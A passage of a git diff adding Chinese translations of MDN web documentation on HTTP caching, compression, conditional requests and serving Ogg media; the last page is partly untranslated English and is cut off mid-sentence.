+<p>这种方法还有一个好处:同时更新两个缓存资源不会造成部分缓存先更新而引起新旧文件内容不一致。对于互相有依赖关系的css和js文件,避免这种不一致性是非常重要的。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13779/HTTPRevved.png"></p> + +<p>加在加速文件后面的版本号不一定是一个正式的版本号字符串,如1.1.3这样或者其他固定自增的版本数。它可以是任何防止缓存碰撞的标记例如hash或者时间戳。</p> + +<h2 id="缓存验证">缓存验证</h2> + +<p>用户点击刷新按钮时会开始缓存验证。如果缓存的响应头信息里含有"Cache-control: must-revalidate”的定义,在浏览的过程中也会触发缓存验证。另外,在浏览器偏好设置里设置Advanced->Cache为强制验证缓存也能达到相同的效果。</p> + +<p>当缓存的文档过期后,需要进行缓存验证或者重新获取资源。只有在服务器返回强校验器或者弱校验器时才会进行验证。</p> + +<h3 id="ETags">ETags</h3> + +<p>作为缓存的一种强校验器,{{HTTPHeader("ETag")}} 响应头是一个对用户代理(User Agent, 下面简称UA)不透明(译者注:UA 无需理解,只需要按规定使用即可)的值。对于像浏览器这样的HTTP UA,不知道ETag代表什么,不能预测它的值是多少。如果资源请求的响应头里含有ETag, 客户端可以在后续的请求的头中带上 {{HTTPHeader("If-None-Match")}} 头来验证缓存。</p> + +<p>{{HTTPHeader("Last-Modified")}} 响应头可以作为一种弱校验器。说它弱是因为它只能精确到一秒。如果响应头里含有这个信息,客户端可以在后续的请求中带上 {{HTTPHeader("If-Modified-Since")}} 来验证缓存。</p> + +<p>当向服务端发起缓存校验的请求时,服务端会返回 {{HTTPStatus(200)}} ok表示返回正常的结果或者 {{HTTPStatus(304)}} Not Modified(不返回body)表示浏览器可以使用本地缓存文件。304的响应头也可以同时更新缓存文档的过期时间。</p> + +<h2 id="Vary_响应">Vary 响应</h2> + +<p>{{HTTPHeader("Vary")}} HTTP 响应头决定了对于后续的请求头,如何判断是请求一个新的资源还是使用缓存的文件。</p> + +<p>当缓存服务器收到一个请求,只有当前的请求和原始(缓存)的请求头跟缓存的响应头里的Vary都匹配,才能使用缓存的响应。</p> + +<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p> + +<p>使用vary头有利于内容服务的动态多样性。例如,使用Vary: User-Agent头,缓存服务器需要通过UA判断是否使用缓存的页面。如果需要区分移动端和桌面端的展示内容,利用这种方式就能避免在不同的终端展示错误的布局。另外,它可以帮助 Google 或者其他搜索引擎更好地发现页面的移动版本,并且告诉搜索引擎没有引入<a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a>。</p> + +<pre class="line-numbers language-html notranslate"><code class="language-html">Vary: User-Agent</code></pre> + +<p>因为移动版和桌面的客户端的请求头中的User-Agent不同, 缓存服务器不会错误地把移动端的内容输出到桌面端到用户。</p> + +<h2 id="参考">参考</h2> + +<ul> + <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching</a></li> + <li><a href="https://www.mnot.net/cache_docs">Caching Tutorial – Mark Nottingham</a></li> + <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP caching – Ilya Grigorik</a></li> + <li><a href="https://redbot.org/">RedBot</a>, 检查缓存相关的 HTTP 头的工具.</li> +</ul> + +<div id="gtx-trans" style="position: absolute; left: 216px; top: 6947.98px;"> +<div class="gtx-trans-icon"></div> +</div> diff --git a/files/zh-cn/web/http/compression/index.html b/files/zh-cn/web/http/compression/index.html new file mode 100644 index 0000000000..9f3318563b --- /dev/null +++ b/files/zh-cn/web/http/compression/index.html @@ -0,0 +1,69 @@ +--- +title: HTTP 协议中的数据压缩 +slug: Web/HTTP/Compression +tags: + - HTTP + - 指南 + - 数据压缩 +translation_of: Web/HTTP/Compression +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><strong>数据压缩</strong>是提高 Web 站点性能的一种重要手段。对于有些文件来说,高达70%的压缩比率可以大大减低对于带宽的需求。随着时间的推移,压缩算法的效率也越来越高,同时也有新的压缩算法被发明出来,应用在客户端与服务器端。</p> + +<p>在实际应用时,web 开发者不需要亲手实现压缩机制,浏览器及服务器都已经将其实现了,不过他们需要确保在服务器端进行了合理的配置。数据压缩会在三个不同的层面发挥作用:</p> + +<ul> + <li>首先某些格式的文件会采用特定的优化算法进行压缩,</li> + <li>其次在 HTTP 协议层面会进行通用数据加密,即数据资源会以压缩的形式进行端到端传输,</li> + <li>最后数据压缩还会发生在网络连接层面,即发生在 HTTP 连接的两个节点之间。</li> +</ul> + +<h2 id="文件格式压缩">文件格式压缩</h2> + +<p>每一种文件类型都会存有冗余,也就是浪费的空间。如果一个典型的文本文件存在60%的冗余的话,那么对于其他类型的文件例如音频或视频文件来说,这个比率会更高。不同于文本文件,这些其他类型的媒体文件占据的空间也更大,所以很早就出现了回收这些浪费的空间的需求。工程师们设计了可以应用于特定用途的文件类型的经过优化的算法。用于文件的压缩算法可以大致分为两类:</p> + +<ul> + <li>无损压缩算法。在压缩与解压缩的过程中,不会对要恢复的数据进行修改。复原后的数据与原始数据是一致的(比特与比特之间一一对应)。<br> + 对于图片文件来说,gif 或者 png 格式的文件就是采用了无损压缩算法。.</li> + <li>有损压缩算法。在压缩与解压缩的过程中,会对原始数据进行修改,但是会以用户无法觉察的方式进行。<br> + 网络上的视频文件通常采用有损压缩算法,图片是<code>jpeg</code>。</li> +</ul> + +<p>一些特定的文件格式既可以采用无损压缩算法,又可以采用有损压缩算法,例如 <code>webp</code> ,并且有损压缩算法可以对压缩比率进行配置,当然这会导致压缩品质的不同。为了使一个站点获得更好的性能,理想情况是在保持可以接受的品质水准的前提下,压缩比率尽可能得高。对于图片来说,通过压缩工具生成的图片对于 Web 应用来说,优化程度可能依然不够高。一般建议选用在保持所要求的品质的前提下压缩比率尽可能高的工具。这里有<a href="http://www.creativebloq.com/design/image-compression-tools-1132865">各种各样的工具</a>专门用来干这个。</p> + +<p>有损压缩通常会比无损压缩效率更高一些。</p> + +<div class="note"> +<p>由于数据压缩技术在一些特定类型的文件上效果很好,再次进行压缩通常没有什么效果。事实上,这种做法常常会适得其反,因为间接开销(算法通常需要使用字典,而字典的大小是会计入初始大小的)会比在压缩过程中获取的额外收益要高,从而会使文件的体积增加。不要对文件类型为压缩格式的文件应用如下两种压缩技术。</p> +</div> + +<h2 id="端到端压缩技术">端到端压缩技术</h2> + +<p>对于各种压缩手段来说,端到端压缩技术是 Web 站点性能提升最大的部分之所在。端到端压缩技术指的是消息体压缩是在服务器端完成的,并且在传输过程中保持不变,直到抵达客户端。不管途中遇到什么样的中间节点,它们都会使消息体保持原样。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13801/HTTPEnco1.png" style="height: 307px; width: 955px;"></p> + +<p>所有的现代浏览器及服务器都支持该技术,唯一需要协商的是所采用的压缩算法。这些压缩算法是为文本内容进行过优化的。在20世纪,压缩技术快速发展,为数众多的算法相继出现,扩大了可选的范围。如今只有两种算法有着举足轻重的地位:gzip 应用最广泛,br 则是新的挑战者。</p> + +<p>为了选择要采用的压缩算法,浏览器和服务器之间会使用<a href="/en-US/docs/Web/HTTP/Content_negotiation">主动协商机制</a>。浏览器发送 {{HTTPHeader("Accept-Encoding")}} 首部,其中包含有它所支持的压缩算法,以及各自的优先级,服务器则从中选择一种,使用该算法对响应的消息主体进行压缩,并且发送 {{HTTPHeader("Content-Encoding")}} 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的,在响应中, {{HTTPHeader("Vary")}} 首部中至少要包含 {{HTTPHeader("Accept-Encoding")}} ;这样的话,缓存服务器就可以对资源的不同展现形式进行缓存。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13811/HTTPCompression1.png" style="height: 307px; width: 771px;"></p> + +<p>由于压缩技术可以带来很大的性能提升,建议对除了已经经过压缩的文件如图片、音频和视频文件之外的其他类型的文件均进行应用。</p> + +<p>Apache 服务器支持数据压缩,有 <a href="http://httpd.apache.org/docs/current/mod/mod_deflate.html">mod_deflate</a>可供使用;nginx 中有<a href="http://nginx.org/en/docs/http/ngx_http_gzip_module.html">ngx_http_gzip_module</a> 模块;在 IIS 中则可以使用 <code><a href="https://www.iis.net/configreference/system.webserver/httpcompression"><httpCompression></a></code> 元素。</p> + +<h2 id="逐跳压缩技术">逐跳压缩技术</h2> + +<p>逐跳压缩技术尽管与端到端压缩技术有些类似,但是它们在一点上有着本质的区别,即这里的压缩指的不是对源头服务器上的资源的压缩,以此来创建一份特定的展现形式然后进行传输,而是对客户端与服务器端之间的任意两个节点之间传递的消息的主体的压缩。在两个相邻的中间节点之间的连接上,可能会应用不同的压缩方式。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13807/HTTPTE1.png"></p> + +<p>为了实现这个目的,HTTP 协议中采用了与端到端压缩技术所使用的内容协商机制相类似的机制:节点发送请求,使用 {{HTTPHeader("TE")}} 首部来宣布它的意愿,另外一个节点则从中选择合适的方法,进行应用,然后在 {{HTTPHeader("Transfer-Encoding")}} 首部中指出它所选择的方法。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13809/HTTPComp2.png"></p> + +<p>在实际应用中,逐跳压缩对于服务器和客户端来说是不可见的,并且很少使用。{{HTTPHeader("TE")}} 首部和 {{HTTPHeader("Transfer-Encoding")}} 首部最常用来发送分块响应,允许在获得资源的确切长度之前就可以开始传输。</p> + +<p>注意,在单次转发层面使用 {{HTTPHeader("Transfer-Encoding")}} 首部和压缩技术是如此地少见,以至于 Apache、nginx 或 IIS 等服务器都不太容易配置。此类配置通常用在代理服务器层面。</p> diff --git a/files/zh-cn/web/http/conditional_requests/index.html b/files/zh-cn/web/http/conditional_requests/index.html new file mode 100644 index 0000000000..a5930b2b62 --- /dev/null +++ b/files/zh-cn/web/http/conditional_requests/index.html @@ -0,0 +1,148 @@ +--- +title: HTTP 条件请求 +slug: Web/HTTP/Conditional_requests +tags: + - HTTP 协议 + - 指南 + - 条件式请求 +translation_of: Web/HTTP/Conditional_requests +--- +<p>{{HTTPSidebar}}</p> + +<p class="summary">在 HTTP 协议中有一个“<strong>条件式请求</strong>”的概念,在这类请求中,请求的结果,甚至请求成功的状态,都会随着验证器与受影响资源的比较结果的变化而变化。这类请求可以用来验证缓存的有效性,省去不必要的控制手段,以及验证文件的完整性,例如在断点续传的场景下或者在上传或者修改服务器端的文件的时候避免更新丢失问题。</p> + +<h2 id="基本原理">基本原理</h2> + +<p>在 HTTP 协议中,条件请求指的是请求的执行结果会因特定首部的值不同而不同。这些首部规定了请求的前置条件,请求结果则视条件匹配与否而有所不同。</p> + +<p>请求引发的不同的反应取决于请求所使用的方法,以及组成前置条件首部集合:</p> + +<ul> + <li>对于安全({{glossary("safe")}})方法来说,例如 {{HTTPMethod("GET")}},通常用来获取文件,条件请求可以被用来限定仅在满足条件的情况下返回文件。这样可以节省带宽。</li> + <li>对于非安全({{glossary("safe", "unsafe")}})方法来说,例如 {{HTTPMethod("PUT")}} 方法,通常用来上传文件,条件请求可以被用来限定仅在满足文件的初始版本与服务器上的版本相同的条件下才会将其上传。</li> +</ul> + +<h2 id="验证器">验证器</h2> + +<p>所有的条件请求首部都是试图去检测服务器上存储的资源是否与某一特定版本相匹配。为了达到这个目的,条件请求需要指明资源的版本。由于逐个字节去比较完整资源是不切实际的,况且这也并非总是想要的结果,所以在请求中会传递一个描述资源版本的值。这些值称为“验证器”,并且分为两大类:</p> + +<ul> + <li>文件的最后修改时间,即 <em>last-modified</em> (最后修改)时间。</li> + <li>一个意义模糊的字符串,指代一个独一无二的版本,称为“实体标签”,或者 <em>etag 。</em></li> +</ul> + +<p>比较同一份资源的不同版本有一定的技巧性:取决于上下文环境的不同,有两种不同的等值检查(<em>equality checks</em>)类型:</p> + +<ul> + <li>强验证类型(<em>Strong validation</em>)应用于需要逐个字节相对应的情况,例如需要进行断点续传的时候。</li> + <li>弱验证类型(<em>Weak validation</em>)应用于用户代理只需要确认资源内容相同即可。即便是有细微差别也可以接受,比如显示的广告不同,或者是页脚的时间不同。</li> +</ul> + +<p>验证类型与验证器的类型是相互独立的。 {{HTTPHeader("Last-Modified")}} 和 {{HTTPHeader("ETag")}} 首部均可应用于两种验证类型,尽管在服务器端实现的复杂程度可能会有所不同。HTTP 协议默认使用强验证类型,可以指定何时使用弱验证类型。</p> + +<h3 id="强验证类型">强验证类型</h3> + +<p id="sect1">强验证类型的作用在于确保要比较的资源与其相比较的对象之间每一个字节都相同。对于有些首部来说需要明确指定该验证类型,而对于另外一些来说则是默认值就是强验证类型。强验证类型的要求相当严格,在服务器层面来说可能较难保证。但是它确保了数据在任何时候都没有缺损,有时候则需要以牺牲性能为代价。</p> + +<p>使用 {{HTTPHeader("Last-Modified")}} 首部很难为强验证类型提供一个唯一标识。通常这是由 {{HTTPHeader("ETag")}} 首部来完成的,该首部可以提供使用 MD5 算法获取的资源(或其衍生品)的散列值。</p> + +<h3 id="弱验证类型">弱验证类型</h3> + +<p>弱验证类型与强验证类型不同,因为它会把内容相同的两份文件看做是一样的。例如,使用弱验证类型,一个页面与另外一个页面只是在页脚显示的时间上有所不同,或者是展示的广告不相同,那么就会被认为是<strong>相同的</strong>。但是在使用强验证的情况下,二者是<strong>不同的</strong>。构建应用于弱验证类型的标签(etag)体系可能会比较复杂,因为这会涉及到对页面上不同的元素的重要性进行排序,但是会对缓存性能优化相当有帮助。</p> + +<h2 id="条件首部">条件首部</h2> + +<p><span><span>一些被称为条件首部的 HTTP 首部,可以引发条件请求。它们是:</span></span></p> + +<dl> + <dt>{{HTTPHeader("If-Match")}}</dt> + <dd><span><span>如果远端资源的实体标签与</span></span><span><span>在</span></span> {{HTTPHeader("ETag")}} <span><span>这</span></span><span><span>个首部中列出的值相同的话,表示条件匹配成功。默认地,除非实体标签带有 'W/' 前缀,否者它将会执行强验证。</span></span></dd> + <dt>{{HTTPHeader("If-None-Match")}}</dt> + <dd><span><span>如果远端资源的实体标签与在</span></span> {{HTTPHeader("ETag")}} <span><span>这个首部中列出的值都不相同的话,表示条件匹配成功。默认地,除非实体标签带有 'W/' 前缀,否者它将会执行强验证。</span></span></dd> + <dt>{{HTTPHeader("If-Modified-Since")}}</dt> + <dd><span><span>如果远端资源的</span></span> {{HTTPHeader("Last-Modified")}} <span><span>首部标识的日期比在该首部中列出的值要更晚,表示条件匹配成功。</span></span></dd> + <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt> + <dd><span><span>如果远端资源的</span></span> HTTPHeader("Last-Modified")}} <span><span>首部标识的日期比在该首部中列出的值要更早或相同,表示条件匹配成功。</span></span></dd> + <dt>{{HTTPHeader("If-Range")}}</dt> + <dd><span><span>与</span></span> {{HTTPHeader("If-Match")}} <span><span>或</span></span> {{HTTPHeader("If-Unmodified-Since")}} 相似<span><span>,但是只能含有一个实体标签或者日期值。如果匹配失败,则条件请求宣告失败,此时将不会返回</span></span> {{HTTPStatus("206")}} <code>Partial Content</code> <span><span>响应码,而是返回</span></span> {{HTTPStatus("200")}} <code>OK</code> <span><span>响应码,以及完整的资源。</span></span></dd> +</dl> + +<h2 id="应用场景">应用场景</h2> + +<h3 id="缓存更新">缓存更新</h3> + +<p>条件式请求最常见的应用场景是更新缓存。假如缓存为空,或者是没有缓存的话,被请求资源会以状态码 {{HTTPStatus("200")}} <code>OK </code>返回。</p> + +<p><img alt="The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled." src="https://mdn.mozillademos.org/files/13729/Cache1.png" style="height: 265px; width: 741px;"></p> + +<p>验证器会同资源一起返回,它们出现在首部字段中。在这个例子中, {{HTTPHeader("Last-Modified")}} 与 {{HTTPHeader("ETag")}} 都被返回,不过如果只返回其中的一个也是可以的。这些验证器会同资源一起被缓存起来(与所有的首部一样),并在在缓存失效的时候用来发起条件式请求。</p> + +<p>只要缓存未失效,就不会发起任何请求。但是一旦失效——主要是由 {{HTTPHeader("Cache-Control")}} 首部控制——客户端就不会采用缓存值而是发起条件式请求。验证器的值会用作 {{HTTPHeader("If-Modified-Since")}} 和 {{HTTPHeader("If-Match")}} 首部字段的参数。</p> + +<p><span><span>假如资源未发生变化,服务器就返回状态码为 </span></span> {{HTTPStatus("304")}} <code>Not Modified</code> 的响应。<span><span>这样相当于对缓存资源进行了刷新,而客户端则采用被缓存的资源。尽管这里有一次请求/响应往返会消耗一定的资源,但是这样做比将整个资源通过网络再传输一遍更高效。</span></span></p> + +<p><img alt="With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same." src="https://mdn.mozillademos.org/files/13731/HTTPCache2.png" style="height: 265px; width: 741px;"></p> + +<p><span><span>假如资源发生了变化,服务器就直接返回</span></span> {{HTTPStatus("200")}}<code> OK</code> <span><span>响应码,连同新版本的资源,就像是没有应用条件式请求一样;客户端则采用新版本资源(并将其缓存起来)。</span></span></p> + +<p><img alt="In the case where the resource was changed, it is sent back as if the request wasn't conditional." src="https://mdn.mozillademos.org/files/13733/HTTPCache3.png"></p> + +<p> 除了需要在服务器端对验证器进行设置以外,该机制是透明的:所有的浏览器都会对缓存资源进行管理,在不需要 Web 开发者进行任何特殊处理的情况下发送条件式请求。</p> + +<h3 id="增量下载的完整性">增量下载的完整性</h3> + +<p>文件的增量下载是 HTTP 协议规定的一项功能,它允许恢复先前的操作,通过保存先前已经获得的信息来节省带宽和时间:</p> + +<p><img alt="A download has been stopped and only partial content has been retrieved." src="https://mdn.mozillademos.org/files/13735/HTTPResume1.png" style="height: 397px; width: 764px;"></p> + +<p>支持增量下载的服务器会通过 {{HTTPHeader("Accept-Ranges")}} 首部来广播这项能力。此后客户端就可以通过发送 {{HTTPHeader("Ranges")}} 首部字段以及缺失的范围值来进行断点续传了:</p> + +<p><img alt="The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request." src="https://mdn.mozillademos.org/files/13737/HTTPResume2.png"></p> + +<p>基本原理很简单,但是这里有一个潜在的问题:如果要下载的资源在两次下载之间进行了修改,得到的数据范围就会对应该资源的两个不同的版本,那么最终获得的文件是损坏的。</p> + +<p>为了防止这种情况的发生,需要使用条件式请求。对于范围请求来说,有两种方法可以实现这个目的。更灵活一些的方法是使用 {{HTTPHeader("If-Modified-Since")}} 和 {{HTTPHeader("If-Match")}} 首部,假如前置条件失败,服务器端会返回错误提示,然后客户端可以从头开始重新下载资源:</p> + +<p><img alt="When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely." src="https://mdn.mozillademos.org/files/13739/HTTPResume3.png"></p> + +<p>尽管这种方法行得通,但是它在文件发生变化的情况下增加了一次额外的请求/响应往返。这一点会影响性能。为此 HTTP 协议规定了一个特定的首部—— {{HTTPHeader("If-Range")}} ——来避免这种情况的发生:</p> + +<p><img alt="The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download." src="https://mdn.mozillademos.org/files/13741/HTTPResume4.png" style="height: 263px; width: 770px;"></p> + +<p>该方法更高效,但是缺乏一定的灵活性,因为条件值只能是实体标签。不过这种额外的灵活性很少会需要。</p> + +<h3 id="使用乐观锁避免更新丢失问题">使用乐观锁避免更新丢失问题</h3> + +<p>对于 Web 应用的一项常见操作是远程更新文件。这在各种类型的文件系统以及版本控制软件中都很常见,但是任何允许远程存储资源的软件也都需要这样一个乐观锁机制。常见的 Web 站点,例如 wiki 系统或其他类型的内容管理系统(CMS),都存在这样的需求。</p> + +<p>使用 {{HTTPMethod("PUT")}} 方法可以实现上述机制。客户端首先读取原始文件,然后进行修改,最后将它们推送到服务器上:</p> + +<p><img alt="Updating a file with a PUT is very simple when concurrency is not involved." src="https://mdn.mozillademos.org/files/13743/HTTPLock1.png"></p> + +<p>不幸的是,当把并发情况考虑在内的时候,事情变得有些不那么确定。当一个客户端在本地修改它新获得的资源副本的时候,另外一个客户端同样可以获取一份资源副本并进行同样的操作。接下来要发生的事情就不那么顺利了:当二者提交回服务器的时候,前一个客户端作出的修改会被第二个客户端的推送所覆盖,因为第二个客户端对于第一个客户端做出的修改一无所知。最终的结果则取决于获胜的一方,但是该结果不会通知给另一方。哪一个客户端作出的修改将会被保存下来,会由于它们提交的速度而有所不同;提交的速度则依赖于客户端及服务器端的性能,甚至是使用客户端进行编辑的人的表现。每一次的胜出者都会有所不同。这种情况被称作竞态条件({{glossary("race condition")}} ),会导致难以捉摸的情况的发生,并且难以探测和除错:</p> + +<p><img alt="When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!" src="https://mdn.mozillademos.org/files/13749/HTTPLock2.png" style="height: 504px; width: 904px;"></p> + +<p>不存在解决这一问题而不打扰双方某一方的办法。然而,更新丢失问题以及竞态条件是需要避免的。我们希望获得可预测的结果,并且希望在更新操作被拒绝的时候客户端可以得到反馈。</p> + +<p>条件式请求可以被用在<strong>乐观锁算法</strong>(大多数 wiki 系统和版本管理系统采用的是该算法)的实现上。其思路是,允许所有的客户端获得资源的副本,然后在本地进行编辑,通过只允许第一个客户端成功提交的方式来控制并发操作。其余的基于现今已过期版本的更新操作都会被拒绝:</p> + +<p><img alt="Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error." src="https://mdn.mozillademos.org/files/13751/HTTPLock3.png" style="height: 471px; width: 904px;"></p> + +<p>这种方式的实现需要用到 {{HTTPHeader("If-Match")}} 或 {{HTTPHeader("If-Unmodified-Since")}} 首部。假如实体标签与源头文件的实体标签不一致,或者源头文件在被获取副本之后经过了修改,那么此次变更请求就会被拒绝,收到 {{HTTPStatus("412")}} <code>Precondition Failed</code> 的错误提示。之后就需要依靠客户端来处理该错误了:或者通知用户重新开始(基于最新的版本),或者是给用户展示两个版本之间的<strong>差异</strong>,辅助他们决定要保留哪些变更。</p> + +<h3 id="处理资源的首次上传问题">处理资源的首次上传问题</h3> + +<p>资源的首次上传问题是前面所描述的情况的一个极端情况。与任何资源更新问题一样,当两个客户端在大致相同的时间进行上传操作的时候,就会遇到竞态条件。为了防止这种情况的发生,可以使用条件式请求:添加 {{HTTPHeader("If-None-Match")}} 首部,并将其值设置为<code>'*'</code>, 表示任意实体标签。当且仅当资源先前并不存在的情况下请求的操作才会成功执行:</p> + +<p><img alt="Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it." src="https://mdn.mozillademos.org/files/13753/HTTPFirst.png" style="height: 311px; width: 895px;"></p> + +<p><code>If-None-Match</code> 首部只可应用于兼容 HTTP/1.1 (及后续版本)的服务器。假如不确定所访问的服务器是否兼容,需要首先向要访问的资源发送一次 {{HTTPMethod("HEAD")}} 请求来进行确认。</p> + +<h2 id="结语">结语</h2> + +<p>条件式请求是 HTTP 协议中一项非常重要的特性,它使高效复杂的应用系统的构建得以实现。对于缓存或断点续传功能来说,站点管理员只需要正确配置服务器就可以了;在某些环境中设置正确的实体标签可能需要一些技巧。但一旦设置成功,浏览器就能够按照预期地发送条件式请求。</p> + +<p>而对于锁机制,则恰恰相反:Web 开发者需要使用合适的消息首部生成请求,另一方面,站点管理员在大多时候可以依赖应用来检查这些首部信息。</p> + +<p>显然在两种情况下,条件式请求都发挥着基础性作用,成为 Web 应用的有力支撑。</p> diff --git a/files/zh-cn/web/http/configuring_servers_for_ogg_media/index.html b/files/zh-cn/web/http/configuring_servers_for_ogg_media/index.html new file mode 100644 index 0000000000..170052048b --- /dev/null +++ b/files/zh-cn/web/http/configuring_servers_for_ogg_media/index.html @@ -0,0 +1,114 @@ +--- +title: Configuring servers for Ogg media +slug: Web/HTTP/Configuring_servers_for_Ogg_media +tags: + - 媒体类型 +translation_of: Web/HTTP/Configuring_servers_for_Ogg_media +--- +<div>{{HTTPSidebar}}</div> + +<p>HTML {{HTMLElement("audio")}} 和 {{HTMLElement("video")}} 标签无需用户安装任何插件或软件即可播放媒体文件。本指南包括了一些服务器配置修改,这些修改对于web服务器提供 Ogg 媒体文件是必要的。 这些信息在遇到服务器未配置为可识别的其他媒体类型文件时也可能提供帮助。</p> + +<h2 id="为媒体提供正确的_MIME_类型">为媒体提供正确的 MIME 类型</h2> + +<p><code>*.ogg</code> 和 <code>*.ogv</code> 文件包含了视频 (也可能带有音频),应该和 <code>video/ogg</code> MIME 类型一起提供。 <code>*.oga</code> 和 <code>*.ogg</code> 只含音频的文件应该与 <code>audio/ogg</code> MIME 类型一起提供。</p> + +<p>如果不确定 Ogg 文件是否包含音频或视频,可以和 MIME 类型 <code>application/ogg</code>一起提供,浏览器会将其视为视频文件。</p> + +<p>默认情况下,大多数服务器不为Ogg媒体提供正确的MIME类型,因此可能需要为此添加适当的配置。</p> + +<p>对于 Apache,可添加如下配置:</p> + +<pre>AddType audio/ogg .oga +AddType video/ogg .ogv +AddType application/ogg .ogg +</pre> + +<p>你可以在 <a href="/en-US/docs/Web/Media/Formats">guide to media types and formats on the web</a> 找到有关可能的媒体文件类型以及其中使用的编解码器的特定信息。特别是,关于配置媒体服务器正确托管媒体 <a href="/en-US/docs/Web/Media/Formats/Containers">media container formats</a> 特别有用。</p> + +<h2 id="Handle_HTTP_1.1_byte_range_requests_correctly">Handle HTTP 1.1 byte range requests correctly</h2> + +<p>In order to support seeking and playing back regions of the media that aren't yet downloaded, Gecko uses HTTP 1.1 byte-range requests to retrieve the media from the seek target position. In addition, Gecko uses byte-range requests to seek to the end of the media (assuming you serve the {{HTTPHeader("Content-Length")}} header) in order to determine the duration of the media.</p> + +<p>Your server should accept the {{HTTPHeader("Accept-Ranges")}}<code>: bytes</code> HTTP header if it can accept byte-range requests. It must return {{HTTPStatus("206")}}<code>: Partial content</code> to all byte range requests; otherwise, browsers can't be sure you actually support byte range requests.</p> + +<p>Your server must also return <code>206: Partial Content</code> for the request <code>Range: bytes=0-</code> as well.</p> + +<h2 id="Include_regular_key_frames">Include regular key frames</h2> + +<p>When the browser seeks through Ogg media to a specified time, it has to seek to the nearest key frame before the seek target, then download and decode the video from there until the requested target time. The farther apart your key frames are, the longer this takes, so it's helpful to include key frames at regular intervals.</p> + +<p>By default, <a class="external" href="http://v2v.cc/~j/ffmpeg2theora/"><code>ffmpeg2theora</code></a> uses one key frame every 64 frames (or about every 2 seconds at 30 frames per second), which works pretty well.</p> + +<div class="note"><strong>Note:</strong> Of course, the more key frames you use, the larger your video file is, so you may need to experiment a bit to get the right balance between file size and seek performance.</div> + +<h2 id="Consider_using_the_preload_attribute">Consider using the preload attribute</h2> + +<p>The HTML {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements provide the <code>preload</code> attribute, which tells the browser to attempt to download the entire media when the page loads. Without <code>preload</code>, the browser only downloads enough of the media to display the first video frame, and to determine the media's duration.</p> + +<p><code>preload</code> is off by default, so if getting to video is the point of your web page, your users may appreciate it if you include <code>preload</code> in your video elements. using <code>preload="metadata"</code> will preload the media file's metadata and possibly the first few frames of video. Setting <code>payload</code> to <code>auto</code> tells the browser to automatically begin downloading the media as soon as the page is loaded, under the assumption that the user will play it.</p> + +<h2 id="Configuration_for_older_Firefox_versions">Configuration for older Firefox versions</h2> + +<h3 id="Serve_X-Content-Duration_headers">Serve X-Content-Duration headers</h3> + +<div class="note"> +<p><strong>Note</strong>: As of <a href="/en-US/Firefox/Releases/41">Firefox 41</a>, the <code>X-Content-Duration</code> header is no longer supported. See {{Bug(1160695)}} for more details.</p> +</div> + +<p>The Ogg format doesn't encapsulate the duration of media, so for the progress bar on the video controls to display the duration of the video, Gecko needs to determine the length of the media using other means.</p> + +<p>There are two ways Gecko can do this. The best way is to offer an <code>X-Content-Duration</code> header when serving Ogg media files. This header provides the duration of the video in seconds (<strong>not</strong> in HH:MM:SS format) as a floating-point value.</p> + +<p>For example, if the video is 1 minute and 32.6 seconds long, this header would be:</p> + +<pre>X-Content-Duration: 92.6 +</pre> + +<p>If your server provides the <code>X-Content-Duration</code> header when serving Ogg media, Gecko doesn't have to do any extra HTTP requests to seek to the end of the file to calculate its duration. This makes the entire process much more efficient as well as more accurate.</p> + +<p>As an inferior alternative, Gecko can estimate the video length based on the Content-Length. See next point.</p> + +<h3 id="Dont_use_HTTP_compression_for_media_files">Don't use HTTP compression for media files</h3> + +<p>One common way to reduce the load on a web server is to use <a class="external" href="http://betterexplained.com/articles/how-to-optimize-your-site-with-gzip-compression/">gzip or deflate compression</a> when serving to a supporting web browser.</p> + +<p>Although it's unlikely, it's possible the browser may advertise that it supports HTTP compression (gzip/deflate) using the <code>Accept-Encoding: gzip,deflate</code> header when requesting media files. Your server should be configured to not do so. The data in media files is already compressed, so you won't get any real benefit from compression, and the use of compression makes it impossible for the browser to properly seek the video or determine its duration.</p> + +<p>Another probelm with allowing HTTP compression for media streaming: Apache servers don't send the {{HTTPHeader("Content-Length")}} response header if gzip encoding is used.</p> + +<h3 id="Getting_the_duration_of_Ogg_media">Getting the duration of Ogg media</h3> + +<p>You can use the <code>oggz-info</code> tool to get the media duration; this tool is included with the <a class="external" href="http://www.xiph.org/oggz/"><code>oggz-tools</code></a> package. The output from <code>oggz-info</code> looks like this:</p> + +<pre> $ oggz-info /g/media/bruce_vs_ironman.ogv + Content-Duration: 00:01:00.046 + + Skeleton: serialno 1976223438 + 4 packets in 3 pages, 1.3 packets/page, 27.508% Ogg overhead + Presentation-Time: 0.000 + Basetime: 0.000 + + Theora: serialno 0170995062 + 1790 packets in 1068 pages, 1.7 packets/page, 1.049% Ogg overhead + Video-Framerate: 29.983 fps + Video-Width: 640 + Video-Height: 360 + + Vorbis: serialno 0708996688 + 4531 packets in 167 pages, 27.1 packets/page, 1.408% Ogg overhead + Audio-Samplerate: 44100 Hz + Audio-Channels: 2 +</pre> + +<p>Note that you can't simply serve up the reported Content-Duration line reported by <code>oggz-info</code>, because it's 